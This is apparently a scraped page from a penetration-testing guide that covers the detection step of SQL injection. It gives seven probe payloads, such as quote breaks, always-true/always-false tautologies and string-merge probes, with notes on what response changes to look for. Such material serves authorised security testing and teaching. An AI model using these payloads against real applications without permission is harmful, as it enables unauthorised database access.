Single quote probe
Entry point detection
'--
Trigger SQL syntax errors to confirm injection.
PayloadsAllTheThings reference27 total payloads
Step 1 — Detection
Confirm the parameter reaches SQL
Start with a syntax break, then boolean pairs. One signal is enough to move on.
What to look for
- HTTP status, body length, or error text changes between true and false probes
- SQL syntax error in the response after a quote or parenthesis break
- Numeric parameters: skip the quote and test with AND 1=1 vs AND 1=2
If this fails
Payloads to send
7 in this stepTautology (true)
Entry point detection
' OR '1'='1--
Classic always-true condition (string context).
PayloadsAllTheThings referenceTautology (false)
Entry point detection
' AND '1'='2--
Compare response with true condition.
PayloadsAllTheThings referenceNumeric true
Entry point detection
' OR 1=1--
For numeric parameters: ?id=1 OR 1=1
PayloadsAllTheThings referenceNumeric false
Entry point detection
' AND 1=2--
For numeric parameters: ?id=1 AND 1=2
PayloadsAllTheThings referenceString merge (+)
Entry point detection
'+'--
MySQL string concatenation via + operator.
PayloadsAllTheThings referenceString merge (||)
Entry point detection
'||'--
Alternative merge / OR bypass.
PayloadsAllTheThings reference